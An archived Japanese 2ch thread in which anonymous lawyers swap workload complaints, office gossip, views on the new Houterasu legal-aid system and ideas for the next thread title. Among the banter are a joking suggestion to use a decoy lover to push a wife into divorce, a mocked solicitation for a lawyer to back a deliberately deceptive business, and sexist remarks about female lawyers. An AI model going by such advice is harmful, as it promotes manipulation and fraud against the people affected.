884 :無責任な名無しさん:2006/08/31(木) 16:44:55 ID:iBkOsgRV

妻は最大の理解者であり、仲間であり、人生の伴侶であるが、それは解除条件付きの関係である。

885 :無責任な名無しさん:2006/08/31(木) 18:27:13 ID:cXOj3I2w
やらなければならないこと

[1]準備書面    (裁判所〆切 8/28)
[2]破産関係の書類 (裁判所〆切 8/30)
[3]準備書面    (自己〆切 8/28)
[4]専門家への質問 (最終〆切 8/31)
[5]交渉:相手方弁護士に出す文書 (止まってる)
[6]交渉:相手方本人に出す文書  (止まってる)

まずいなあ・・・

886 :無責任な名無しさん:2006/08/31(木) 18:35:12 ID:BFAT4hMy

書いてみるか。

今の重い課題。

1 遺産目録づくり(自己〆8月25日)遺産たくさん
2 管財事件の配当表づくり(自己〆8月31日)債権者たくさん
3 刑事控訴審否認事件の事実取調請求書(〆9月4日)証拠たくさん
4 会則改正案の校正(〆9月5日)法テラスの馬鹿野郎
5 横領の示談交渉(自己〆9月5日)気が重い
6 証拠説明書(〆9月5日)

やる気失せた。

887 :無責任な名無しさん:2006/08/31(木) 18:45:56 ID:unrqbmgL
>>886
.....
書くと特定される特殊な事件をやってるおれ

888 :無責任な名無しさん:2006/08/31(木) 20:51:39 ID:1AD2bc7y
書いてみるか

1 再生計画案と一緒に出す家計簿3月分
2 建物明け渡し訴状
3 共有物分割訴状
4 処分禁止の仮処分
5 離婚訴状
6 管財で不動産放棄の許可
7 報告書
8 収支計算書
9 費用請求の訴状

2〜5は全部あと少しだけ
1は手つかずだけど気合い入れたら1時間程度
6も紙書くだけだからすぐ
7は気合い入れたら1時間程度
8もちょっとだけ
9は重くてずっと寝かしている。時効だけ調べて安心している

ま,かえってねよう
 

889 :無責任な名無しさん:2006/08/31(木) 20:52:44 ID:1AD2bc7y
書いたほかに刑事弁護や会務や事務員のフォローがばらばらあるなぁ

890 :無責任な名無しさん:2006/08/31(木) 21:00:48 ID:lmPvS9Cy
>>887
なになに???

891 :無責任な名無しさん:2006/08/31(木) 21:33:14 ID:mbX9kL/D
NHKのニュースで見て,なんで製造元を被告にしてないんだろうかと思ったんだが・・・
http://www.mainichi-msn.co.jp/shakai/jiken/news/m20060901k0000m040105000c.html
中国製か。1審では製造元も被告にしてたのかもなー。

892 :無責任な名無しさん:2006/08/31(木) 21:58:57 ID:UsC0LuKb
 母親(実母)が事務長,嫁が事務次長,長男が事務員という弁護士を知って
いる。収入が完全に補足されているし,夜飲みに行くこともできないだろう。
弁護士をやっていて,何か楽しいことがあるのかなぁ。

893 :無責任な名無しさん:2006/08/31(木) 22:40:06 ID:gPxQTjqw
>>892
同期の弁護士の事務員と浮気w

894 :休憩中 ◆tr.t4dJfuU :2006/09/01(金) 01:09:23 ID:gIB4nIH4
嫁さんを事務所に入れると必然的に経理を・・・ってケースが多い
愛人を事務所に入れると他の事務員が定着しない・・・ってケースが多い

気のせいかの〜

>888
1の家計の状況は開始決定後のもの?
要求する裁判所が増えてきたね・・・。

895 :無責任な名無しさん:2006/09/01(金) 01:39:29 ID:Pvqn6/0C
娘を事務所に入れると嫁さんにチクられる……ってケースが多いらしい。
息子を事務所に入れるとカワユイ事務員を取られる……ってケースはあるかも?

896 :無責任な名無しさん:2006/09/01(金) 02:38:38 ID:fKoT75tm
矢田亜希子みたいな事務員が欲しいなぁ

897 :無責任な名無しさん:2006/09/01(金) 10:00:43 ID:AIag5cEM
>>894
そうです
こまるのは口やかましく指導していたのに,全然言うことを守っていない奴らです。

898 :無責任な名無しさん:2006/09/01(金) 11:30:33 ID:AhZOgyHI
昨日の産経の夕刊に、国選求め早朝から行列っていう記事があった。
みんなそんなに困ってるのかと思って読み進めると、単に楽な事件を取りたいからって
いうだけだった。それなら、今更記事にする必要もないよな

899 :無責任な名無しさん:2006/09/01(金) 12:08:05 ID:J85zBIf5
おいおい,これって詐欺だろ?

Q:行政書士とはそもそも何ですか?
A:イギリスではソリシターという「弁護士」にあたる職業で、
国際的には「lawyer」(法曹、法律家)として認められている
日本独特の国家資格の法律家です。日本でも特に移民・入管
・オーバーステイでの人権救済や国際結婚手続きの分野では
弁護士には無い独自の権限を持ってきました。また、最近では
アメリカの法廷で、日本の移民専門行政書士が、移民法律家と
して「鑑定人」として招致され、プロとしての意見を求められてい
ます。さらに行政書士は日本の最高裁判所から「民事調停委員
」(裁判所に勤務します)にも任命されています。

900 :無責任な名無しさん:2006/09/01(金) 12:40:03 ID:tVlryOm2
>899
これ何から拾ってきたの?
行政書士会HP?

何で日本独特の国家資格なのにイギリスでは弁護士に当たるんだ?
行政書士は海外に行くとlawerになるのか?
弁護士は入管・オーバーステイ・国際結婚に権限ないんだ??
この前国際離婚やっちゃったよ、やばいな〜〜〜
調停委員に任命wが売りなんて。
そこら辺のおっちゃんでもなっているのにwwwwww
でも、こういうのですごいな〜と言っちゃう人いるんだろうな。

901 :無責任な名無しさん:2006/09/01(金) 12:47:10 ID:XNHDKfHS
組織的詐欺だよ。
日本行政書士会連合会は,英語呼称を 「Japan Federation Of Gyoseishoshi Lawyer's Associations」としている。
http://www.gyosei.or.jp/の最下部参照。)
意味不明な英語なんだが。。。


902 :無責任な名無しさん:2006/09/01(金) 14:20:03 ID:0BOafM64
嫁が弁護士なんだけど、「知ってることはなかなか教えない、知らないときはえらそーに」っていう人間になってしまった。
昔はこんなじゃなかった。これって職業病?なんか常に態度だけは立派なんだけどさ、法律とは全然関係ない日常の場面での話し。

正直話しかけるのも話しかけられるのも嫌になってきた。
どうなんですかね?


903 :無責任な名無しさん:2006/09/01(金) 14:22:51 ID:PAWTE40k
職業病に間違いないだろうね。
子供がいなけりゃ早い目に離婚する方がいいんじゃないの?

904 :無責任な名無しさん:2006/09/01(金) 15:32:33 ID:2+HVXwOt
>>902
・自分の正当性を主張するのに必死になる。
・誤りを指摘されると逆上気味になる。
・俺(私)が裁いてやる、という姿勢が言葉の端々に出る。
こういう症状も見られるなら、99%職業病です。

まあ因果な商売だわな・・・

905 :無責任な名無しさん:2006/09/01(金) 15:36:00 ID:J85zBIf5
>>900
全然別件でググッてたら引っかかったやつ

http://www.atlo.jp/

906 :無責任な名無しさん:2006/09/01(金) 16:05:35 ID:0BOafM64
>>903>>904
やっぱり職業病なんですね。
何でも結論は「あなたの責任」なんですよ、何か不都合なことがおきると。
「風が吹けば」式の屁理屈なんだけど、反論すると切れるんですよね。
風邪を引いても暑くても寒くても全部私の責任ですよ。

「そうじゃないなら証明しなさいよ」って感じで。
すみませんね愚痴ってしまって、ただ弁護士になってから性格が急変したんで戸惑ってしまって・・

907 :無責任な名無しさん:2006/09/01(金) 16:08:25 ID:8PhsBDHW
法廷技術(罵倒テクw)を私生活に持ち込むのは
もとから性格が捻じ曲がっていたんジャマイカ?

908 :無責任な名無しさん:2006/09/01(金) 16:17:37 ID:0BOafM64
>>907
罵倒テクがあるんですか・・確かに話せば話すほど泥沼にはまる感じですTT

909 :無責任な名無しさん:2006/09/01(金) 16:18:37 ID:YVeRZxUM
女弁のヒステリーは日常茶飯事
まともな女は任官か渉外に行ってると思われ

910 :無責任な名無しさん:2006/09/01(金) 16:20:42 ID:8PhsBDHW
>>908
自意識と選民意識で鼻が高くなった人に共通しますが,
嫌味皮肉当て擦りが得意な弁護士がいますよ現実に。
世の中は理屈で動かないって常識忘れた香具師が。
屁理屈で裁判官が顔をしかめる準備書面出したりする。
これは弁護士云々じゃなくてその人の性格や人格です。

911 :無責任な名無しさん:2006/09/01(金) 16:24:51 ID:0BOafM64
>これは弁護士云々じゃなくてその人の性格や人格です

そうですね・・・そうかもしれません・・家に帰りたくないっすorz

912 :無責任な名無しさん:2006/09/01(金) 16:40:06 ID:AIag5cEM
職業病じゃなくって単なる愛情の欠如だよバカどもw

913 :無責任な名無しさん:2006/09/01(金) 16:56:54 ID:GTo3UwQ3
早く別れなさい。

914 :無責任な名無しさん:2006/09/01(金) 18:00:49 ID:EYcB1C+7
>>906
おれの嫁、弁護士じゃないけどそんな感じ。
もう限界。だれかきれいに離婚する方法おしえてくれや。

915 :無責任な名無しさん:2006/09/01(金) 18:03:29 ID:8PhsBDHW
>>914
嫁が離婚してもいいと思う池面をあてがう
うまくいけば向こうから離婚を請求してくる
もちろん当て馬は離婚直後にドロンという筋

916 :無責任な名無しさん:2006/09/01(金) 18:28:10 ID:caAmxbWt
きれいじゃないが、おまいが嫁の同じ態度をとると、そのうち向こうが嫌気をさして離婚してくれる。

917 :無責任な名無しさん:2006/09/01(金) 19:16:32 ID:xf8c57c5
きれいに離婚するコツは,嫁の要求を丸呑みすることでは。
お金で人生買い戻すと思って。
嫁にいろんな意味での自立支援金を給付すると思って。

918 :無責任な名無しさん:2006/09/01(金) 19:21:11 ID:AIag5cEM
そういう先生がいるなあ
相場より多めのを出してさっと別れたらしい

別れてから好調っぽいね

919 :無責任な名無しさん:2006/09/01(金) 19:25:34 ID:Pvqn6/0C
>>917-918
禿同です
ウチのボス弁も同じ処理方針
時間がごちゃごちゃかかるなら300〜500万円上乗せ

920 :無責任な名無しさん:2006/09/01(金) 20:24:01 ID:IUlT8ngS
超亀だけど少し前に話題になった女性の先生
どこかで見たと思ったら数年前のTの合格体験記に載ってたな
その時はかわいい人がいるもんだと思った

921 :無責任な名無しさん:2006/09/01(金) 21:41:45 ID:MfB2w2ng
>>888
亀だが、9って弁護士費用請求の訴訟ですよね
うちの事務所でもやってみたいな・・・。
サラ金みたいにきつく取り立てないと分かると
「払わなくて良い」「遅れても待ってもらって当たり前」と
脳内変換する依頼者がいるんだよな。そのくせ仕事だけは出来たかと要求。
辞任のタイミング逃すと大変。パチンコする金はあるのにねえ・・・。
「弁護士がサラ金みたいなことするのは正義に反する」
というのがボスの方針みたいで、費用は踏み倒されっぱなし。
委任契約も報酬の定めが曖昧で、これは本気で取る気がない、という風になっちゃう。
支払督促くらいやってもいいと思うんだけどね。


922 :無責任な名無しさん:2006/09/01(金) 22:53:56 ID:AvZkiYNW
被告事件だと報酬金踏み倒されることがありますねー。
こちらも請求しにくいということもあるし。
そういう人は訴訟中のやり取りとかで薄々分かってはきますけどね。
大体そういう人とのやり取りは事件処理なんかより激しく消耗します。
お金に代えられないものがあるので、ほんとに辞任のタイミングは大事です。

923 :無責任な名無しさん:2006/09/01(金) 22:56:43 ID:puEEwMvt
つ株式会社弁護士報酬債権回収


924 :弁護士の皆様へ:2006/09/02(土) 00:23:30 ID:UX+N/By9
事務員は事務員であって、決して家政婦ではありません。
いくら家庭がうまくいっていなくても、事務員に食事の支度をさせるのはやめて下さい。
飯炊きするためにこの業界にいるわけではないんですよ。
(弁当買いに行かせるくらいはかまわないですよ)
ペットの世話くらい、自分でやってください。犬と雇用契約結ぶ馬鹿がどこにいるんですか?
自分が王様でありたいのはわかるんですが、いい年こいて、子供みたいなわがまま・屁理屈はやめてください。
機嫌が悪いからって、業者に電話してお姉ちゃんや支店長をいじめるのはやめて下さい。
人間としての品位を下げます。

皆さんどうか、事務局から人間として信頼される弁護士であって下さい。


925 :無責任な名無しさん:2006/09/02(土) 00:46:50 ID:ojMd6WCO
>>924
これだね。
http://school5.2ch.net/test/read.cgi/shikaku/1145260846/673

まあ、気持ちは分かるよ。おれもイソ弁時代、ボスとケンカするのが得意技で
さすらいの弁護士と呼ばれてたから。でも、ここまでするボスは滅多にないと
思うよ。同じように正確悪いのはいくらでもいるけど。

926 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/09/02(土) 02:53:02 ID:U4obqYH+
そろそろ次スレのスレタイ考えませんか?

927 :無責任な名無しさん:2006/09/02(土) 03:01:48 ID:GJJEY6oY
【呆テラス】……【知らんよ】

928 :名無しさん:2006/09/02(土) 03:48:27 ID:n6Ga4nDz
うげっっ弁護士バッジのメッキを剥がそうと・・サンポールに漬けたら・・
「銅版に電流ながしたような色(紫銅色)」になっていた。どうしよう月曜。。
金マーカーで塗るのも・・こんなんで、始末書理由に再交付www後悔してます。

929 :無責任な名無しさん:2006/09/02(土) 06:54:25 ID:iDoug8Bp


【法テラス】弁護士本音25【キタ━━(゚∀゚)━━!!!】


930 :無責任な名無しさん:2006/09/02(土) 08:27:09 ID:3vF8ILrq
>>928
フライパンの上にアルミホイルで器を作り、そこに水を塩を入れ、20分くらい沸騰させる。
そうすれば「いぶし銀」は取れると思うよ。

正しい方法
・真鍮ブラシでこする。真鍮は柔らかいから銀は傷つかない。表面のラッカーは剥がれる。
・610ハップまたは温泉の素(硫黄が入っているもの。湯ノ花がもっとも良い。)を溶いた水につける。
・真っ黒になるから、あとは、布にピカールを付けて良く磨く。

これで、あなたも弁護士30年目に見える。バッヂだけはね。

931 :無責任な名無しさん:2006/09/02(土) 08:50:31 ID:YunW3abj
>>929
長すぎて、立てられないのでは?

【法テラス】弁護士本音talkスレPart24【契約する?】

932 :無責任な名無しさん:2006/09/02(土) 09:54:27 ID:oRq4OGIN
俺は事務所内で一番早く出勤するため,
事務所のゴミ出し(事務員が無造作に捨てた
ゴミの分別を含む),事務所内の清掃,
コップ洗い(事務員のコップも含む),
事務員も飲むアイスコーヒー作りなど
様々な雑用をやっているw

933 :無責任な名無しさん:2006/09/02(土) 13:34:49 ID:Iw5bdVN0
ボスが捨てた愛人を引き取らされたイソ弁がいるという都市伝説がある。

934 :929:2006/09/02(土) 14:12:29 ID:iDoug8Bp
>>931
前のスレタイと同じ長さですよ

935 :無責任な名無しさん:2006/09/02(土) 15:57:43 ID:12bvhAnE
判例自治

936 :無責任な名無しさん:2006/09/02(土) 16:31:09 ID:+G1l12Xr
>924 :無責任な名無しさん :2006/09/02(土) 05:47:46 fO0UUVXs
>http://www.kana-gyosei.or.jp/copyadr/
>
>神奈川県行政書士会ADRセンター
>
>ついに、交通事故のADRまでやりだしています。

937 :MS754 ◆yGUnQdhyV2 :2006/09/02(土) 17:07:42 ID:Q+Kew64P
そこで、テンプレ案です。

前スレ↓
【お盆中も】弁護士本音talkスレPart24【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1153918884/
注意書き,リンク集などは>>2-10あたりに・・・



938 :MS754 ◆yGUnQdhyV2 :2006/09/02(土) 17:13:02 ID:Q+Kew64P
○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。

やさしい法律相談part185
http://school5.2ch.net/test/read.cgi/shikaku/1154774357/
やさしい《優しい》法律相談part186
http://school5.2ch.net/test/read.cgi/shikaku/1155475607/
やさしい【易しい】法律相談part187
http://school5.2ch.net/test/read.cgi/shikaku/1156044095/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。


939 :MS754 ◆yGUnQdhyV2 :2006/09/02(土) 17:14:38 ID:Q+Kew64P
過去スレその1
弁護士本音talkスレッド
http://school.2ch.net/test/read.cgi/shikaku/998739465/
http://yasai.2ch.net/shikaku/kako/998/998739465.html
【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/




940 :MS754 ◆yGUnQdhyV2 :2006/09/02(土) 17:17:56 ID:Q+Kew64P
過去スレその2
【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/
【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/
【お盆中も】弁護士本音talkスレPart24【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1153918884/


941 :MS754 ◆yGUnQdhyV2 :2006/09/02(土) 17:22:59 ID:Q+Kew64P
関連スレとサイト集は現在のままということで。

スレタイをさらに募集中です。

942 :無責任な名無しさん:2006/09/02(土) 17:44:17 ID:cbpj9fD+
>>920
残念ながら違います。

943 :無責任な名無しさん:2006/09/02(土) 18:55:26 ID:mOMSlAac
>>924
あなたには、憲法上、退職の自由が認められています!

944 :無責任な名無しさん:2006/09/02(土) 21:56:56 ID:golvs7vS
東京では,ワンルームマンションを事務所として,
電話機,ファックスコピー機,会議用テーブルとイス,
執務机とイス,パソコン,最低限の什器備品セットを用意すれば
開業できます。
200万円あればできますよ。
私の友人も,その程度の資金で独立しました。
なお,私の場合,開業資金は500万円以上かかりました。
やればできます。
それとも,
ボスが廃業するか(死ぬ場合もあります。),ボスから首を切られるまで,
サラ弁でいるのですか。

945 :無責任な名無しさん:2006/09/02(土) 22:03:12 ID:BdDdb6gr
ロー奨学金貸与のローンをクレジット会社に払い続けるサラリーマン弁護士
略して「クレサラ弁護士」が冗談ではなくなるかも

946 :無責任な名無しさん:2006/09/03(日) 01:15:36 ID:bOFH0A8t
東京のイソ弁で独立したい人いませんか?
当方これから悪徳商法を始める予定ですので
顧問弁護士にどうですか?
事務所も用意しますから毎月の顧問弁護士料は
いくらでOKですか?
それと付録としてHもOKの美人秘書もお付け致します。

あっ、悪徳商法と言っても脱法行為はしませんよ。
FC契約の様に錯誤契約させるだけです。

これマジなんですけど、どうですか?
当方は本人訴訟を何件もやってましてそこそこ法律には
詳しいです。だけど、相手側に対してやはり弁護士からの通達
ってのがあればもっと楽かなぁと・・・。

つまり、金さえ儲かればいいという弁護士さんいたら
宜しくね。美人秘書は貴殿のリクエストにお答えして
全国でオーデションも行ないます。

これホントまじですから(w

現在当方4社ほど経営しています。今までは法人としての
トラブルは一切ありません。しかし今後はイケイケで一気に
儲けるつもりですので多少はトラブルが出てくるかもです。




947 :無責任な名無しさん:2006/09/03(日) 01:49:03 ID:b0o6MP+a
>>946
悪徳とか言わなくても普通に債務整理でそんな申し出は一杯あるな
マジで引っかかるなよ

948 :MS754 ◆yGUnQdhyV2 :2006/09/03(日) 07:15:04 ID:9yosFBTT
次スレ、スレタイ募集中です。

949 :無責任な名無しさん:2006/09/03(日) 08:19:54 ID:m+lsr5J3
【大政翼賛】【造反有理】
法テラスも賛否両論っていうことで。どちらの立場の方も表現するにはこれかな、とw

950 :無責任な名無しさん:2006/09/03(日) 10:31:35 ID:dYbzuUaM
田舎で国選の仕事をするのを「大政翼賛」と言われてもねえ。

951 :裁判所:2006/09/03(日) 11:11:59 ID:KNFjOj2K
>946

契約金1億。顧問月3000万。現金のみ

どう?

952 :無責任な名無しさん:2006/09/03(日) 13:07:39 ID:H+vqM22z
>>951

釣りにしては下手糞w

953 :無責任な名無しさん:2006/09/03(日) 15:02:55 ID:gdte23kk
【     】弁護士本音talkスレPart25【    】

スレタイの最長の長さは上記のようです。
中を刈り込むとこんな感じ

【       】弁護士本音25【       】

954 :無責任な名無しさん:2006/09/03(日) 15:50:39 ID:cLTjuD6B
疲れた。殺人の国選きつい。

955 :無責任な名無しさん:2006/09/03(日) 17:28:22 ID:jseh6xLa
1日かけて,こんなショボイ書面しか書けないとは。トホホ…。
漏れって能力なさ過ぎ〜。

956 :無責任な名無しさん:2006/09/03(日) 18:03:07 ID:7RJVszKe
夏の間ゆっくりしすぎて、9月にはいってから、提出期限が迫ってきた準備書面がたくさんある。
毎年のことだが・・・・・。

957 :無責任な名無しさん:2006/09/03(日) 18:04:42 ID:H+vqM22z
>>956
安心しろ、相手方も同じでまだ書いてないw

958 :無責任な名無しさん:2006/09/03(日) 18:41:03 ID:UTYWSVV9

【会長命令】弁護士本音25【契約しろ!!】

959 :無責任な名無しさん:2006/09/03(日) 19:15:34 ID:4wQhe4Rn
>>946
相当なバ○だね・・・

960 :MS754 ◆yGUnQdhyV2 :2006/09/03(日) 20:14:45 ID:9yosFBTT
次スレのスレタイ候補は、いずれも法テラスがらみのようです。
どれにしましょうか?
【呆テラス】弁護士本音25【知らんよ】
【法テラス】弁護士本音25【キタ━━(゚∀゚)━━!!!】
【法テラス】弁護士本音talk25【契約する?】
【会長命令】弁護士本音talk25【契約しろ!!】



961 :無責任な名無しさん:2006/09/03(日) 20:16:27 ID:tr4jJ9XY
ほっしゃん。多忙で10年愛に終止符

 お笑いタレントのほっしゃん。(35)が結婚を前提に交際していた女性と破局した。4日放送の日本テレビ「芸恋リアル」(後9・00)内で激白している。
 10年間交際し、同棲もしていたが約1年前に破局。ある日、帰宅すると、女性が自らの家具や持ち物などとともに姿を消していたという。
 ピン芸人No.1を決める昨年の「R―1ぐらんぷり」で優勝。人気が上昇し、関西では毎日5時間の生放送バラエティー番組に出演しているほか、
映画「UDON」にも出演するなど多忙となった。ほっしゃん。は「だんだんすれ違いになってしまって…。何度もプロポーズしたんですけど」と話している。
(スポーツニッポン) - 9月3日6時3分更新

962 :無責任な名無しさん:2006/09/03(日) 20:17:26 ID:tr4jJ9XY
>>960
中立的な上から2番目が良いと思います。
契約はもうほとんどのところで終わってるでしょう。

963 :無責任な名無しさん:2006/09/03(日) 20:23:26 ID:DzuIOMek
うちの単位会は無理強いすることはなかったな
会長がヒステリー起こすのが玉にキズだが

964 :無責任な名無しさん:2006/09/03(日) 21:30:31 ID:otI0u4gT
うちは契約者が伸び悩み,おそらくそろそろ副会長が頭下げて回ることになりそう。

965 :無責任な名無しさん:2006/09/03(日) 21:33:40 ID:VX5c3Ybg
>>962

先生!!【法テラス】弁護士本音25【キタ━━(゚∀゚)━━!!!】 だとあたかも大半の弁護士が
法テラスを歓迎してるかのような誤解を招くと思います。

法テラスと言う制度あるいは法テラスと契約する事を当然の前提だとしないようなタイトル
がいいと思います。「法テラスとの契約はあくまで任意」ですから。



966 :無責任な名無しさん:2006/09/03(日) 21:43:06 ID:VX5c3Ybg
さて真面目な話だが本当にみんな法テラスと契約するの?
なんかこのスレ見てると何やかんや言いながら結構受け入れてる人が多そうなんだけど。
俺はあんな法務省のヒモ付き団体と契約する気なんかさらさらないんだけど。
ウチのボスもしないと言ってるし。みんな真面目だな。
まあ地方の単位会だと色々しがらみがあるのかなあ。
国選が出来なくなるのはちょっと引け目を感じなくもないがうちは大都市だから
他にいくらでもなり手がいるだろうと思ってる。


967 :無責任な名無しさん:2006/09/03(日) 21:59:32 ID:yGcJVuex
so am I.



968 :無責任な名無しさん:2006/09/03(日) 22:37:38 ID:TknwFpYo
もう法テラスネタはウンザリだな,田舎弁護士としては。
「法務省の・・・」という文句は,このスレでは聞き飽きたので,
余所でやってくれ。

969 :無責任な名無しさん:2006/09/03(日) 22:38:43 ID:kyBEwdJ+
【貸金業法】弁護士本音25【改悪?】

970 :無責任な名無しさん:2006/09/03(日) 23:12:55 ID:bOFH0A8t
>>951
高いよ。もっと安くしてくれ〜そんなに払うなら
自分でやっちゃうよ。

971 :MS ◆yh8vvHxIwY :2006/09/03(日) 23:19:04 ID:9yosFBTT
そろそろスレタイを決めたいのですが、どうしましょうか。
>>969さんのご提案をに少し手を入れさせて頂いて、

【貸金業法】弁護士本音25【改正or改悪?】

なんというのもありでしょうか?

972 :無責任な名無しさん:2006/09/03(日) 23:19:46 ID:suMpBdwJ
噂によると後期修習中の59期が寮で消火器を噴射したらしい。犯人はまだ不明とか。


973 :無責任な名無しさん:2006/09/03(日) 23:46:22 ID:7RJVszKe
明日から、裁判の期日が本格化する〜。
忙しい鬱・・・・・・・・。

974 :MS754 ◆yGUnQdhyV2 :2006/09/03(日) 23:53:47 ID:9yosFBTT
やっちまいました。>>971鳥間違いです。
法テラス関係のスレタイは反対もあるようでどうしましょうか?


975 :無責任な名無しさん:2006/09/04(月) 00:09:52 ID:67eEGrFF
【法テラス】弁護士本音talk25【契約する?】 がいいです。

私は義理のためにスタート時には契約しますが,数ヶ月で解約するかもしれません。
解約は自由らしいので。

976 :無責任な名無しさん:2006/09/04(月) 00:12:35 ID:UhIdQAku
国選弁護……そして誰もいなくなったw

977 :無責任な名無しさん:2006/09/04(月) 01:14:14 ID:jnIjOAd9
【行楽の秋】【仕事の秋】

978 :無責任な名無しさん:2006/09/04(月) 02:04:43 ID:f8PPDp8m
すいません。当方、損保会社を退職し現在弁護士を目指すべく
ロースクールに通っております。将来、交通事故に強い弁護士を
目指しているのですが、正直交通事故関係の仕事は儲かりますか?
他に儲かる分野はありますか?
新司法試験の受験科目の話は一応置いといて・・・・・
今のうちから、この分野の勉強はしておいた方がいいというのは
ありますか?
先輩方何卒よろしくお願い致します。

979 :MS754 ◆yGUnQdhyV2 :2006/09/04(月) 08:02:47 ID:b8xim2eW
規制に引っかかってスレ立てがせきません。スレタイなどお任せしますので、
どなたか、よろしくお願いします。なお、当職は、本日、午後11頃まで、
ネットに接続しにくい状況ですので、重ねてよろしくお願いします。

980 :無責任な名無しさん:2006/09/04(月) 09:38:43 ID:CMl+H435
>978
損保会社退職したなら、損保が弁護士をどれだけ安く自分らにいいように
使うか知ってるだろw

981 :無責任な名無しさん:2006/09/04(月) 10:04:15 ID:BFc+LxaZ
>970
全然高くないだろう。そっちの条件は?

982 :MS先生の代理人:2006/09/04(月) 12:23:19 ID:VxKx1w5T
次スレです。
http://school5.2ch.net/test/read.cgi/shikaku/1157338815/

ノートンが反応して、関連スレとサイト集のある箇所にたどり着けません。
どなたか、追加でコピペをお願いします。

983 :無責任な名無しさん:2006/09/04(月) 13:14:18 ID:Y8n1geOU
>>982
関連スレとサイト集を次スレに貼りました。

984 :無責任な名無しさん:2006/09/04(月) 13:26:53 ID:9VDKm43Q
埋め立て。

985 :無責任な名無しさん:2006/09/04(月) 13:54:31 ID:jV1Hey2O
現時点で呆テラスに登録してるのは何割ぐらいだろう

986 :無責任な名無しさん:2006/09/04(月) 13:56:46 ID:JE1qZJ0K
今日高山からFAXが来ていたね

987 :無責任な名無しさん:2006/09/04(月) 14:35:12 ID:u0k3jDeS
>>983
ありがとう。事務所のPCの具合がおかしくなって携帯からです。仕事ができない(T-T)

988 :無責任な名無しさん:2006/09/04(月) 18:13:55 ID:jV1Hey2O
呆テラスと併せて被疑者国選も始まるのだが,ここではあまり触れられてないね

989 :無責任な名無しさん:2006/09/04(月) 18:38:29 ID:nZvKULPJ
>>985
週間法律新聞によれば,日弁執行部の目標の半分だそうだ。
1万人に達していない。

990 :無責任な名無しさん:2006/09/04(月) 18:43:23 ID:jV1Hey2O
弁護士なんて2万ちょいじゃん
日弁連はほとんど登録すると思ってたの
バカじゃね

991 :無責任な名無しさん:2006/09/04(月) 19:01:44 ID:JE1qZJ0K
東京で国選の弁護士が足りなくなるな。


992 :無責任な名無しさん:2006/09/04(月) 19:06:27 ID:s8D4yn0e
梅謙次郎

993 :無責任な名無しさん:2006/09/04(月) 19:57:25 ID:BctxlKga
被告人には1年ほど待ってもらえばわんさか仕事のない新人が出てきますよ

994 :無責任な名無しさん:2006/09/04(月) 20:58:41 ID:2oUYveHo
>>980
年収1千万程度のイソ弁のくせして(w

995 :無責任な名無しさん:2006/09/04(月) 21:02:56 ID:NWPuYsoV
埋め

996 :無責任な名無しさん:2006/09/04(月) 21:40:25 ID:vfgvgwnD


997 :無責任な名無しさん:2006/09/04(月) 21:41:39 ID:vfgvgwnD
うめぇ

998 :無責任な名無しさん:2006/09/04(月) 21:44:26 ID:vfgvgwnD
IDがvf・・・やばいこのまま心停止まっしぐらだ。だれかDCかけてくれ

999 :無責任な名無しさん:2006/09/04(月) 21:45:46 ID:vfgvgwnD


1000 :無責任な名無しさん:2006/09/04(月) 21:46:53 ID:vfgvgwnD
わーい1000

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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